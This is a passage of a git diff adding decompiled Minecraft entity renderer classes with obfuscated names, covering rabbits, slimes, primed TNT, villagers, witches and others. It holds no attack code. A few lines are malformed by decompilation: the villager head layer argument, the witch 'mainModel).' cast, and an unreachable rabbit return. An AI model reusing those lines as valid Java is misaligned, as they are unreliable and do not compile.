+import net.minecraft.entity.projectile.EntityPotion;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+
+public class RenderPotion extends RenderSnowball
+{
+  private static final String __OBFID = "CL_00002430";
+  
+  public RenderPotion(RenderManager p_i46136_1_, RenderItem p_i46136_2_)
+  {
+    super(p_i46136_1_, Items.potionitem, p_i46136_2_);
+  }
+  
+  public ItemStack func_177085_a(EntityPotion p_177085_1_)
+  {
+    return new ItemStack(field_177084_a, 1, p_177085_1_.getPotionDamage());
+  }
+  
+  public ItemStack func_177082_d(Entity p_177082_1_)
+  {
+    return func_177085_a((EntityPotion)p_177082_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderRabbit.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderRabbit.java
new file mode 100644
index 0000000..96f74c9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderRabbit.java
@@ -0,0 +1,70 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.passive.EntityRabbit;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderRabbit extends RenderLiving
+{
+  private static final ResourceLocation field_177127_a = new ResourceLocation("textures/entity/rabbit/brown.png");
+  private static final ResourceLocation field_177126_e = new ResourceLocation("textures/entity/rabbit/white.png");
+  private static final ResourceLocation field_177132_j = new ResourceLocation("textures/entity/rabbit/black.png");
+  private static final ResourceLocation field_177133_k = new ResourceLocation("textures/entity/rabbit/gold.png");
+  private static final ResourceLocation field_177130_l = new ResourceLocation("textures/entity/rabbit/salt.png");
+  private static final ResourceLocation field_177131_m = new ResourceLocation("textures/entity/rabbit/white_splotched.png");
+  private static final ResourceLocation field_177128_n = new ResourceLocation("textures/entity/rabbit/toast.png");
+  private static final ResourceLocation field_177129_o = new ResourceLocation("textures/entity/rabbit/caerbannog.png");
+  private static final String __OBFID = "CL_00002432";
+  
+  public RenderRabbit(RenderManager p_i46146_1_, ModelBase p_i46146_2_, float p_i46146_3_)
+  {
+    super(p_i46146_1_, p_i46146_2_, p_i46146_3_);
+  }
+  
+  protected ResourceLocation func_177125_a(EntityRabbit p_177125_1_)
+  {
+    String var2 = EnumChatFormatting.getTextWithoutFormattingCodes(p_177125_1_.getName());
+    
+    if ((var2 != null) && (var2.equals("Toast")))
+    {
+      return field_177128_n;
+    }
+    
+
+    switch (p_177125_1_.func_175531_cl())
+    {
+    case 0: 
+    default: 
+      return field_177127_a;
+    
+    case 1: 
+      return field_177126_e;
+    
+    case 2: 
+      return field_177132_j;
+    
+    case 3: 
+      return field_177131_m;
+    
+    case 4: 
+      return field_177133_k;
+    
+    case 5: 
+      return field_177130_l;
+    }
+    
+    return field_177129_o;
+  }
+  
+
+
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_177125_a((EntityRabbit)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderSheep.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderSheep.java
new file mode 100644
index 0000000..b5b264d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderSheep.java
@@ -0,0 +1,35 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.entity.layers.LayerSheepWool;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderSheep extends RenderLiving
+{
+  private static final ResourceLocation shearedSheepTextures = new ResourceLocation("textures/entity/sheep/sheep.png");
+  private static final String __OBFID = "CL_00001021";
+  
+  public RenderSheep(RenderManager p_i46145_1_, ModelBase p_i46145_2_, float p_i46145_3_)
+  {
+    super(p_i46145_1_, p_i46145_2_, p_i46145_3_);
+    addLayer(new LayerSheepWool(this));
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntitySheep p_110775_1_)
+  {
+    return shearedSheepTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntitySheep)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderSilverfish.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderSilverfish.java
new file mode 100644
index 0000000..405526e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderSilverfish.java
@@ -0,0 +1,44 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelSilverfish;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntitySilverfish;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderSilverfish extends RenderLiving
+{
+  private static final ResourceLocation silverfishTextures = new ResourceLocation("textures/entity/silverfish.png");
+  private static final String __OBFID = "CL_00001022";
+  
+  public RenderSilverfish(RenderManager p_i46144_1_)
+  {
+    super(p_i46144_1_, new ModelSilverfish(), 0.3F);
+  }
+  
+  protected float func_180584_a(EntitySilverfish p_180584_1_)
+  {
+    return 180.0F;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntitySilverfish p_110775_1_)
+  {
+    return silverfishTextures;
+  }
+  
+  protected float getDeathMaxRotation(EntityLivingBase p_77037_1_)
+  {
+    return func_180584_a((EntitySilverfish)p_77037_1_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntitySilverfish)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderSkeleton.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderSkeleton.java
new file mode 100644
index 0000000..ca39c0c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderSkeleton.java
@@ -0,0 +1,80 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelSkeleton;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerBipedArmor;
+import net.minecraft.client.renderer.entity.layers.LayerHeldItem;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntitySkeleton;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderSkeleton extends RenderBiped
+{
+  private static final ResourceLocation skeletonTextures = new ResourceLocation("textures/entity/skeleton/skeleton.png");
+  private static final ResourceLocation witherSkeletonTextures = new ResourceLocation("textures/entity/skeleton/wither_skeleton.png");
+  private static final String __OBFID = "CL_00001023";
+  
+  public RenderSkeleton(RenderManager p_i46143_1_)
+  {
+    super(p_i46143_1_, new ModelSkeleton(), 0.5F);
+    addLayer(new LayerHeldItem(this));
+    addLayer(new LayerBipedArmor(this)
+    {
+      private static final String __OBFID = "CL_00002431";
+      
+      protected void func_177177_a() {
+        field_177189_c = new ModelSkeleton(0.5F, true);
+        field_177186_d = new ModelSkeleton(1.0F, true);
+      }
+    });
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntitySkeleton p_77041_1_, float p_77041_2_)
+  {
+    if (p_77041_1_.getSkeletonType() == 1)
+    {
+      GlStateManager.scale(1.2F, 1.2F, 1.2F);
+    }
+  }
+  
+  public void func_82422_c()
+  {
+    GlStateManager.translate(0.09375F, 0.1875F, 0.0F);
+  }
+  
+  protected ResourceLocation func_180577_a(EntitySkeleton p_180577_1_)
+  {
+    return p_180577_1_.getSkeletonType() == 1 ? witherSkeletonTextures : skeletonTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityLiving p_110775_1_)
+  {
+    return func_180577_a((EntitySkeleton)p_110775_1_);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((EntitySkeleton)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180577_a((EntitySkeleton)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderSlime.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderSlime.java
new file mode 100644
index 0000000..4fb1f3e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderSlime.java
@@ -0,0 +1,98 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerSlimeGel;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntitySlime;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderSlime extends RenderLiving
+{
+  private static final ResourceLocation slimeTextures = new ResourceLocation("textures/entity/slime/slime.png");
+  private static final String __OBFID = "CL_00001024";
+  
+  public RenderSlime(RenderManager p_i46141_1_, ModelBase p_i46141_2_, float p_i46141_3_)
+  {
+    super(p_i46141_1_, p_i46141_2_, p_i46141_3_);
+    addLayer(new LayerSlimeGel(this));
+  }
+  
+  public void doRender(EntitySlime p_177124_1_, double p_177124_2_, double p_177124_4_, double p_177124_6_, float p_177124_8_, float p_177124_9_)
+  {
+    shadowSize = (0.25F * p_177124_1_.getSlimeSize());
+    super.doRender(p_177124_1_, p_177124_2_, p_177124_4_, p_177124_6_, p_177124_8_, p_177124_9_);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntitySlime p_77041_1_, float p_77041_2_)
+  {
+    float var3 = p_77041_1_.getSlimeSize();
+    float var4 = (prevSquishFactor + (squishFactor - prevSquishFactor) * p_77041_2_) / (var3 * 0.5F + 1.0F);
+    float var5 = 1.0F / (var4 + 1.0F);
+    GlStateManager.scale(var5 * var3, 1.0F / var5 * var3, var5 * var3);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntitySlime p_110775_1_)
+  {
+    return slimeTextures;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntitySlime)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((EntitySlime)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntitySlime)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntitySlime)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntitySlime)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderSnowMan.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderSnowMan.java
new file mode 100644
index 0000000..53f4f12
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderSnowMan.java
@@ -0,0 +1,43 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelSnowMan;
+import net.minecraft.client.renderer.entity.layers.LayerSnowmanHead;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.monster.EntitySnowman;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderSnowMan extends RenderLiving
+{
+  private static final ResourceLocation snowManTextures = new ResourceLocation("textures/entity/snowman.png");
+  private static final String __OBFID = "CL_00001025";
+  
+  public RenderSnowMan(RenderManager p_i46140_1_)
+  {
+    super(p_i46140_1_, new ModelSnowMan(), 0.5F);
+    addLayer(new LayerSnowmanHead(this));
+  }
+  
+  protected ResourceLocation func_180587_a(EntitySnowman p_180587_1_)
+  {
+    return snowManTextures;
+  }
+  
+  public ModelSnowMan func_177123_g()
+  {
+    return (ModelSnowMan)super.getMainModel();
+  }
+  
+  public ModelBase getMainModel()
+  {
+    return func_177123_g();
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180587_a((EntitySnowman)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderSnowball.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderSnowball.java
new file mode 100644
index 0000000..4638bc8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderSnowball.java
@@ -0,0 +1,56 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.entity.Entity;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderSnowball extends Render
+{
+  protected final Item field_177084_a;
+  private final RenderItem field_177083_e;
+  private static final String __OBFID = "CL_00001008";
+  
+  public RenderSnowball(RenderManager p_i46137_1_, Item p_i46137_2_, RenderItem p_i46137_3_)
+  {
+    super(p_i46137_1_);
+    field_177084_a = p_i46137_2_;
+    field_177083_e = p_i46137_3_;
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_76986_2_, (float)p_76986_4_, (float)p_76986_6_);
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.scale(0.5F, 0.5F, 0.5F);
+    GlStateManager.rotate(-renderManager.playerViewY, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(renderManager.playerViewX, 1.0F, 0.0F, 0.0F);
+    bindTexture(TextureMap.locationBlocksTexture);
+    field_177083_e.func_175043_b(func_177082_d(p_76986_1_));
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  public ItemStack func_177082_d(Entity p_177082_1_)
+  {
+    return new ItemStack(field_177084_a, 1, 0);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return TextureMap.locationBlocksTexture;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderSpider.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderSpider.java
new file mode 100644
index 0000000..5c4e433
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderSpider.java
@@ -0,0 +1,46 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelSpider;
+import net.minecraft.client.renderer.entity.layers.LayerSpiderEyes;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntitySpider;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderSpider extends RenderLiving
+{
+  private static final ResourceLocation spiderTextures = new ResourceLocation("textures/entity/spider/spider.png");
+  private static final String __OBFID = "CL_00001027";
+  
+  public RenderSpider(RenderManager p_i46139_1_)
+  {
+    super(p_i46139_1_, new ModelSpider(), 1.0F);
+    addLayer(new LayerSpiderEyes(this));
+  }
+  
+  protected float getDeathMaxRotation(EntitySpider p_77037_1_)
+  {
+    return 180.0F;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntitySpider p_110775_1_)
+  {
+    return spiderTextures;
+  }
+  
+  protected float getDeathMaxRotation(EntityLivingBase p_77037_1_)
+  {
+    return getDeathMaxRotation((EntitySpider)p_77037_1_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntitySpider)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderSquid.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderSquid.java
new file mode 100644
index 0000000..05c23fb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderSquid.java
@@ -0,0 +1,67 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntitySquid;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderSquid extends RenderLiving
+{
+  private static final ResourceLocation squidTextures = new ResourceLocation("textures/entity/squid.png");
+  private static final String __OBFID = "CL_00001028";
+  
+  public RenderSquid(RenderManager p_i46138_1_, ModelBase p_i46138_2_, float p_i46138_3_)
+  {
+    super(p_i46138_1_, p_i46138_2_, p_i46138_3_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntitySquid p_110775_1_)
+  {
+    return squidTextures;
+  }
+  
+  protected void rotateCorpse(EntitySquid p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    float var5 = prevSquidPitch + (squidPitch - prevSquidPitch) * p_77043_4_;
+    float var6 = prevSquidYaw + (squidYaw - prevSquidYaw) * p_77043_4_;
+    GlStateManager.translate(0.0F, 0.5F, 0.0F);
+    GlStateManager.rotate(180.0F - p_77043_3_, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(var5, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate(var6, 0.0F, 1.0F, 0.0F);
+    GlStateManager.translate(0.0F, -1.2F, 0.0F);
+  }
+  
+
+
+
+  protected float handleRotationFloat(EntitySquid p_77044_1_, float p_77044_2_)
+  {
+    return lastTentacleAngle + (tentacleAngle - lastTentacleAngle) * p_77044_2_;
+  }
+  
+
+
+
+  protected float handleRotationFloat(EntityLivingBase p_77044_1_, float p_77044_2_)
+  {
+    return handleRotationFloat((EntitySquid)p_77044_1_, p_77044_2_);
+  }
+  
+  protected void rotateCorpse(EntityLivingBase p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    rotateCorpse((EntitySquid)p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntitySquid)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderTNTPrimed.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderTNTPrimed.java
new file mode 100644
index 0000000..090c6eb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderTNTPrimed.java
@@ -0,0 +1,97 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.block.Block;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityTNTPrimed;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderTNTPrimed extends Render
+{
+  private static final String __OBFID = "CL_00001030";
+  
+  public RenderTNTPrimed(RenderManager p_i46134_1_)
+  {
+    super(p_i46134_1_);
+    shadowSize = 0.5F;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityTNTPrimed p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    BlockRendererDispatcher var10 = Minecraft.getMinecraft().getBlockRendererDispatcher();
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_76986_2_, (float)p_76986_4_ + 0.5F, (float)p_76986_6_);
+    
+
+    if (fuse - p_76986_9_ + 1.0F < 10.0F)
+    {
+      float var11 = 1.0F - (fuse - p_76986_9_ + 1.0F) / 10.0F;
+      var11 = MathHelper.clamp_float(var11, 0.0F, 1.0F);
+      var11 *= var11;
+      var11 *= var11;
+      float var12 = 1.0F + var11 * 0.3F;
+      GlStateManager.scale(var12, var12, var12);
+    }
+    
+    float var11 = (1.0F - (fuse - p_76986_9_ + 1.0F) / 100.0F) * 0.8F;
+    bindEntityTexture(p_76986_1_);
+    GlStateManager.translate(-0.5F, -0.5F, 0.5F);
+    var10.func_175016_a(Blocks.tnt.getDefaultState(), p_76986_1_.getBrightness(p_76986_9_));
+    GlStateManager.translate(0.0F, 0.0F, 1.0F);
+    
+    if (fuse / 5 % 2 == 0)
+    {
+      GlStateManager.func_179090_x();
+      GlStateManager.disableLighting();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 772);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, var11);
+      GlStateManager.doPolygonOffset(-3.0F, -3.0F);
+      GlStateManager.enablePolygonOffset();
+      var10.func_175016_a(Blocks.tnt.getDefaultState(), 1.0F);
+      GlStateManager.doPolygonOffset(0.0F, 0.0F);
+      GlStateManager.disablePolygonOffset();
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.disableBlend();
+      GlStateManager.enableLighting();
+      GlStateManager.func_179098_w();
+    }
+    
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected ResourceLocation func_180563_a(EntityTNTPrimed p_180563_1_)
+  {
+    return net.minecraft.client.renderer.texture.TextureMap.locationBlocksTexture;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180563_a((EntityTNTPrimed)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityTNTPrimed)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderTntMinecart.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderTntMinecart.java
new file mode 100644
index 0000000..5b1a63a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderTntMinecart.java
@@ -0,0 +1,59 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.item.EntityMinecartTNT;
+import net.minecraft.util.MathHelper;
+
+public class RenderTntMinecart extends RenderMinecart
+{
+  private static final String __OBFID = "CL_00001029";
+  
+  public RenderTntMinecart(RenderManager p_i46135_1_)
+  {
+    super(p_i46135_1_);
+  }
+  
+  protected void func_180561_a(EntityMinecartTNT p_180561_1_, float p_180561_2_, IBlockState p_180561_3_)
+  {
+    int var4 = p_180561_1_.func_94104_d();
+    
+    if ((var4 > -1) && (var4 - p_180561_2_ + 1.0F < 10.0F))
+    {
+      float var5 = 1.0F - (var4 - p_180561_2_ + 1.0F) / 10.0F;
+      var5 = MathHelper.clamp_float(var5, 0.0F, 1.0F);
+      var5 *= var5;
+      var5 *= var5;
+      float var6 = 1.0F + var5 * 0.3F;
+      GlStateManager.scale(var6, var6, var6);
+    }
+    
+    super.func_180560_a(p_180561_1_, p_180561_2_, p_180561_3_);
+    
+    if ((var4 > -1) && (var4 / 5 % 2 == 0))
+    {
+      BlockRendererDispatcher var7 = Minecraft.getMinecraft().getBlockRendererDispatcher();
+      GlStateManager.func_179090_x();
+      GlStateManager.disableLighting();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 772);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, (1.0F - (var4 - p_180561_2_ + 1.0F) / 100.0F) * 0.8F);
+      GlStateManager.pushMatrix();
+      var7.func_175016_a(net.minecraft.init.Blocks.tnt.getDefaultState(), 1.0F);
+      GlStateManager.popMatrix();
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.disableBlend();
+      GlStateManager.enableLighting();
+      GlStateManager.func_179098_w();
+    }
+  }
+  
+  protected void func_180560_a(EntityMinecart p_180560_1_, float p_180560_2_, IBlockState p_180560_3_)
+  {
+    func_180561_a((EntityMinecartTNT)p_180560_1_, p_180560_2_, p_180560_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderVillager.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderVillager.java
new file mode 100644
index 0000000..193960a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderVillager.java
@@ -0,0 +1,102 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelVillager;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerCustomHead;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderVillager extends RenderLiving
+{
+  private static final ResourceLocation villagerTextures = new ResourceLocation("textures/entity/villager/villager.png");
+  private static final ResourceLocation farmerVillagerTextures = new ResourceLocation("textures/entity/villager/farmer.png");
+  private static final ResourceLocation librarianVillagerTextures = new ResourceLocation("textures/entity/villager/librarian.png");
+  private static final ResourceLocation priestVillagerTextures = new ResourceLocation("textures/entity/villager/priest.png");
+  private static final ResourceLocation smithVillagerTextures = new ResourceLocation("textures/entity/villager/smith.png");
+  private static final ResourceLocation butcherVillagerTextures = new ResourceLocation("textures/entity/villager/butcher.png");
+  private static final String __OBFID = "CL_00001032";
+  
+  public RenderVillager(RenderManager p_i46132_1_)
+  {
+    super(p_i46132_1_, new ModelVillager(0.0F), 0.5F);
+    addLayer(new LayerCustomHead(func_177134_gvillagerHead));
+  }
+  
+  public ModelVillager func_177134_g()
+  {
+    return (ModelVillager)super.getMainModel();
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityVillager p_110775_1_)
+  {
+    switch (p_110775_1_.getProfession())
+    {
+    case 0: 
+      return farmerVillagerTextures;
+    
+    case 1: 
+      return librarianVillagerTextures;
+    
+    case 2: 
+      return priestVillagerTextures;
+    
+    case 3: 
+      return smithVillagerTextures;
+    
+    case 4: 
+      return butcherVillagerTextures;
+    }
+    
+    return villagerTextures;
+  }
+  
+
+
+
+
+
+  protected void preRenderCallback(EntityVillager p_77041_1_, float p_77041_2_)
+  {
+    float var3 = 0.9375F;
+    
+    if (p_77041_1_.getGrowingAge() < 0)
+    {
+      var3 = (float)(var3 * 0.5D);
+      shadowSize = 0.25F;
+    }
+    else
+    {
+      shadowSize = 0.5F;
+    }
+    
+    GlStateManager.scale(var3, var3, var3);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((EntityVillager)p_77041_1_, p_77041_2_);
+  }
+  
+  public ModelBase getMainModel()
+  {
+    return func_177134_g();
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityVillager)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderWitch.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderWitch.java
new file mode 100644
index 0000000..68d3e64
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderWitch.java
@@ -0,0 +1,98 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelWitch;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerHeldItemWitch;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderWitch extends RenderLiving
+{
+  private static final ResourceLocation witchTextures = new ResourceLocation("textures/entity/witch.png");
+  private static final String __OBFID = "CL_00001033";
+  
+  public RenderWitch(RenderManager p_i46131_1_)
+  {
+    super(p_i46131_1_, new ModelWitch(0.0F), 0.5F);
+    addLayer(new LayerHeldItemWitch(this));
+  }
+  
+  public void func_180590_a(EntityWitch p_180590_1_, double p_180590_2_, double p_180590_4_, double p_180590_6_, float p_180590_8_, float p_180590_9_)
+  {
+    mainModel).field_82900_g = (p_180590_1_.getHeldItem() != null);
+    super.doRender(p_180590_1_, p_180590_2_, p_180590_4_, p_180590_6_, p_180590_8_, p_180590_9_);
+  }
+  
+  protected ResourceLocation func_180589_a(EntityWitch p_180589_1_)
+  {
+    return witchTextures;
+  }
+  
+  public void func_82422_c()
+  {
+    GlStateManager.translate(0.0F, 0.1875F, 0.0F);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityWitch p_77041_1_, float p_77041_2_)
+  {
+    float var3 = 0.9375F;
+    GlStateManager.scale(var3, var3, var3);
+  }
+  
+
+
+
+
+
+
